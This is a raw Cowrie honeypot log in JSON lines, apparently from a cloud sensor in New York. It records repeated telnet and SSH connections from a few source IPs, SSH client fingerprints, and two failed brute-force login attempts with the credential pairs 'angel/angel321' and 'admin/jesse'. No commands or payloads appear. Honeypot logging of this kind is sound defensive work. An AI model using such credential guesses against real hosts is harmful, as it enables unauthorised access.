{"eventid":"cowrie.session.closed","duration":35.810450315475464,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:48.784053Z","src_ip":"209.159.146.115","session":"80cf22b33264","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.004002809524536,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:48.882762Z","src_ip":"209.159.146.115","session":"d031f7fff712","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:49.642406Z","src_ip":"157.66.34.121","session":"ea26a95b8dee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.96297550201416,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:49.801096Z","src_ip":"209.159.146.115","session":"719bcc47368f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":49638,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb2f31b02873","protocol":"telnet","message":"New connection: 209.159.146.115:49638 (159.203.135.109:23) [session: eb2f31b02873]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:50.861828Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":50560,"dst_ip":"159.203.135.109","dst_port":23,"session":"13f7ed945ed2","protocol":"telnet","message":"New connection: 209.159.146.115:50560 (159.203.135.109:23) [session: 13f7ed945ed2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:51.167996Z"}
{"eventid":"cowrie.session.closed","duration":36.65217971801758,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:51.419573Z","src_ip":"23.254.167.244","session":"2afe96a0ef2d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":58132,"dst_ip":"159.203.135.109","dst_port":23,"session":"550343fbcdf8","protocol":"telnet","message":"New connection: 23.254.167.244:58132 (159.203.135.109:23) [session: 550343fbcdf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:53.631866Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":60128,"dst_ip":"159.203.135.109","dst_port":23,"session":"15983586c57f","protocol":"telnet","message":"New connection: 209.159.146.115:60128 (159.203.135.109:23) [session: 15983586c57f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:53.872886Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":59370,"dst_ip":"159.203.135.109","dst_port":23,"session":"e40d53a46fdd","protocol":"telnet","message":"New connection: 23.254.167.244:59370 (159.203.135.109:23) [session: e40d53a46fdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:54.396966Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":34272,"dst_ip":"159.203.135.109","dst_port":23,"session":"81b4136910a1","protocol":"telnet","message":"New connection: 23.254.167.244:34272 (159.203.135.109:23) [session: 81b4136910a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:55.895241Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":38424,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b03563f16ec","protocol":"telnet","message":"New connection: 209.159.146.115:38424 (159.203.135.109:23) [session: 8b03563f16ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:55.928527Z"}
{"eventid":"cowrie.session.closed","duration":36.492669105529785,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:55.934421Z","src_ip":"23.254.167.244","session":"1dea9a345735","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":35244,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c294e6e7a0f","protocol":"telnet","message":"New connection: 185.26.126.47:35244 (159.203.135.109:23) [session: 9c294e6e7a0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:56.243876Z"}
{"eventid":"cowrie.session.closed","duration":30.117861032485962,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:57.031812Z","src_ip":"209.159.146.115","session":"d43c28e110c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.63568949699402,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:57.159918Z","src_ip":"209.159.146.115","session":"535e098e6b69","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.422269344329834,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:58.582841Z","src_ip":"209.159.146.115","session":"b9b9019a5736","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":40522,"dst_ip":"159.203.135.109","dst_port":23,"session":"46011cba560a","protocol":"telnet","message":"New connection: 23.254.167.244:40522 (159.203.135.109:23) [session: 46011cba560a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:58.861541Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":41340,"dst_ip":"159.203.135.109","dst_port":23,"session":"c37af346ab6e","protocol":"telnet","message":"New connection: 23.254.167.244:41340 (159.203.135.109:23) [session: c37af346ab6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:59.313629Z"}
{"eventid":"cowrie.session.closed","duration":33.94358777999878,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:59.462737Z","src_ip":"23.254.167.244","session":"264a92d76fb8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42400,"dst_ip":"159.203.135.109","dst_port":22,"session":"59814a154460","protocol":"ssh","message":"New connection: 159.203.92.129:42400 (159.203.135.109:22) [session: 59814a154460]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:59.836022Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:59.840013Z","src_ip":"159.203.92.129","session":"59814a154460","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:59.845050Z","src_ip":"159.203.92.129","session":"59814a154460","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"angel","password":"angel321","message":"login attempt [angel/angel321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:59.857015Z","src_ip":"159.203.92.129","session":"59814a154460","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":49512,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a185a179ce9","protocol":"telnet","message":"New connection: 209.159.146.115:49512 (159.203.135.109:23) [session: 1a185a179ce9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:59.890766Z"}
{"eventid":"cowrie.session.closed","duration":38.808170557022095,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:00.394733Z","src_ip":"23.254.167.244","session":"8b64c439db1a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.450655937194824,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:00.460105Z","src_ip":"23.254.167.244","session":"13b8da9c781c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":60886,"dst_ip":"159.203.135.109","dst_port":23,"session":"149ed4bfbec9","protocol":"telnet","message":"New connection: 209.159.146.115:60886 (159.203.135.109:23) [session: 149ed4bfbec9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:00.747544Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:00.865763Z","src_ip":"159.203.92.129","session":"59814a154460","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.09402108192444,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:00.888552Z","src_ip":"23.254.167.244","session":"666d73696113","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.41926193237305,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:01.042151Z","src_ip":"209.159.146.115","session":"38c55ec1284d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.16798448562622,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:01.625160Z","src_ip":"23.254.167.244","session":"e036d32f1e4a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.49.158.252","src_port":60694,"dst_ip":"159.203.135.109","dst_port":23,"session":"3264176faa1b","protocol":"telnet","message":"New connection: 157.49.158.252:60694 (159.203.135.109:23) [session: 3264176faa1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:01.934157Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":43576,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e0a4f5b4c30","protocol":"telnet","message":"New connection: 23.254.167.244:43576 (159.203.135.109:23) [session: 3e0a4f5b4c30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:02.018573Z"}
{"eventid":"cowrie.session.closed","duration":35.30939555168152,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:02.409359Z","src_ip":"23.254.167.244","session":"176011998463","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.76159310340881,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:03.377698Z","src_ip":"23.254.167.244","session":"c94cc936ec85","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.992961168289185,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:03.457678Z","src_ip":"23.254.167.244","session":"e09d5925ee7c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.87784671783447,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:03.462807Z","src_ip":"23.254.167.244","session":"dbad77763c07","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.57950139045715,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:03.599235Z","src_ip":"23.254.167.244","session":"52bfb5b6b7b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":34700,"dst_ip":"159.203.135.109","dst_port":23,"session":"930487d41acc","protocol":"telnet","message":"New connection: 209.159.146.115:34700 (159.203.135.109:23) [session: 930487d41acc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:04.371418Z"}
{"eventid":"cowrie.session.closed","duration":33.53944444656372,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:04.432070Z","src_ip":"209.159.146.115","session":"85ab020d81d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.77480936050415,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:05.097124Z","src_ip":"23.254.167.244","session":"bf8dc59490fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":49382,"dst_ip":"159.203.135.109","dst_port":23,"session":"98d337c67815","protocol":"telnet","message":"New connection: 23.254.167.244:49382 (159.203.135.109:23) [session: 98d337c67815]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:05.418381Z"}
{"eventid":"cowrie.session.closed","duration":35.7530083656311,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:06.137060Z","src_ip":"23.254.167.244","session":"a42ce20db9fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.303767681121826,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:06.841350Z","src_ip":"23.254.167.244","session":"d394eb625693","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.00568914413452,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:07.192991Z","src_ip":"23.254.167.244","session":"bd900e474f81","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":57572,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d5be9a0641f","protocol":"telnet","message":"New connection: 209.159.146.115:57572 (159.203.135.109:23) [session: 6d5be9a0641f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:07.253042Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":52052,"dst_ip":"159.203.135.109","dst_port":23,"session":"b01184cd6c2b","protocol":"telnet","message":"New connection: 23.254.167.244:52052 (159.203.135.109:23) [session: b01184cd6c2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:07.261651Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":60972,"dst_ip":"159.203.135.109","dst_port":23,"session":"fec28073eca1","protocol":"telnet","message":"New connection: 209.159.146.115:60972 (159.203.135.109:23) [session: fec28073eca1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:08.529921Z"}
{"eventid":"cowrie.session.closed","duration":33.02492547035217,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:09.136000Z","src_ip":"209.159.146.115","session":"b5964d1d35ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":38282,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff79cf49ba26","protocol":"telnet","message":"New connection: 209.159.146.115:38282 (159.203.135.109:23) [session: ff79cf49ba26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:09.444114Z"}
{"eventid":"cowrie.session.closed","duration":37.60599493980408,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:10.169416Z","src_ip":"23.254.167.244","session":"f3cb4c8466ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.08204007148743,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:13.878772Z","src_ip":"23.254.167.244","session":"f138a564c89b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.360642194747925,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:14.294689Z","src_ip":"157.49.158.252","session":"3264176faa1b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.49763488769531,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:14.315013Z","src_ip":"209.159.146.115","session":"f7d4fd6fc3fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.63340711593628,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:14.375070Z","src_ip":"209.159.146.115","session":"e7eeb0c235c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.83733081817627,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:14.483300Z","src_ip":"209.159.146.115","session":"f3f22127f80d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":39618,"dst_ip":"159.203.135.109","dst_port":23,"session":"1acc8aa88030","protocol":"telnet","message":"New connection: 209.159.146.115:39618 (159.203.135.109:23) [session: 1acc8aa88030]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:16.497271Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":59664,"dst_ip":"159.203.135.109","dst_port":23,"session":"2459f953d122","protocol":"telnet","message":"New connection: 23.254.167.244:59664 (159.203.135.109:23) [session: 2459f953d122]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:16.849550Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":36808,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc3a54f47b03","protocol":"telnet","message":"New connection: 23.254.167.244:36808 (159.203.135.109:23) [session: bc3a54f47b03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:17.149392Z"}
{"eventid":"cowrie.session.closed","duration":34.554322957992554,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:17.329644Z","src_ip":"209.159.146.115","session":"42a6b2c42f08","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.13.24.118","src_port":40852,"dst_ip":"159.203.135.109","dst_port":22,"session":"241752ef4f2c","protocol":"ssh","message":"New connection: 186.13.24.118:40852 (159.203.135.109:22) [session: 241752ef4f2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:17.474190Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:17.482774Z","src_ip":"186.13.24.118","session":"241752ef4f2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:17.652974Z","src_ip":"186.13.24.118","session":"241752ef4f2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.41845941543579,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:18.163566Z","src_ip":"23.254.167.244","session":"4adcb6ccce59","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"jesse","message":"login attempt [admin/jesse] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:18.355104Z","src_ip":"186.13.24.118","session":"241752ef4f2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":35184,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef8468996ae5","protocol":"telnet","message":"New connection: 23.254.167.244:35184 (159.203.135.109:23) [session: ef8468996ae5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:18.565208Z"}
{"eventid":"cowrie.session.closed","duration":39.07513999938965,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:19.400533Z","src_ip":"23.254.167.244","session":"faa3ab6046bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.074681520462036,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:19.468579Z","src_ip":"23.254.167.244","session":"295508f0db61","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:19.529265Z","src_ip":"186.13.24.118","session":"241752ef4f2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":44336,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ae5a93f7754","protocol":"telnet","message":"New connection: 23.254.167.244:44336 (159.203.135.109:23) [session: 1ae5a93f7754]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:19.861519Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":57910,"dst_ip":"159.203.135.109","dst_port":23,"session":"8be32e69780f","protocol":"telnet","message":"New connection: 209.159.146.115:57910 (159.203.135.109:23) [session: 8be32e69780f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:20.363848Z"}
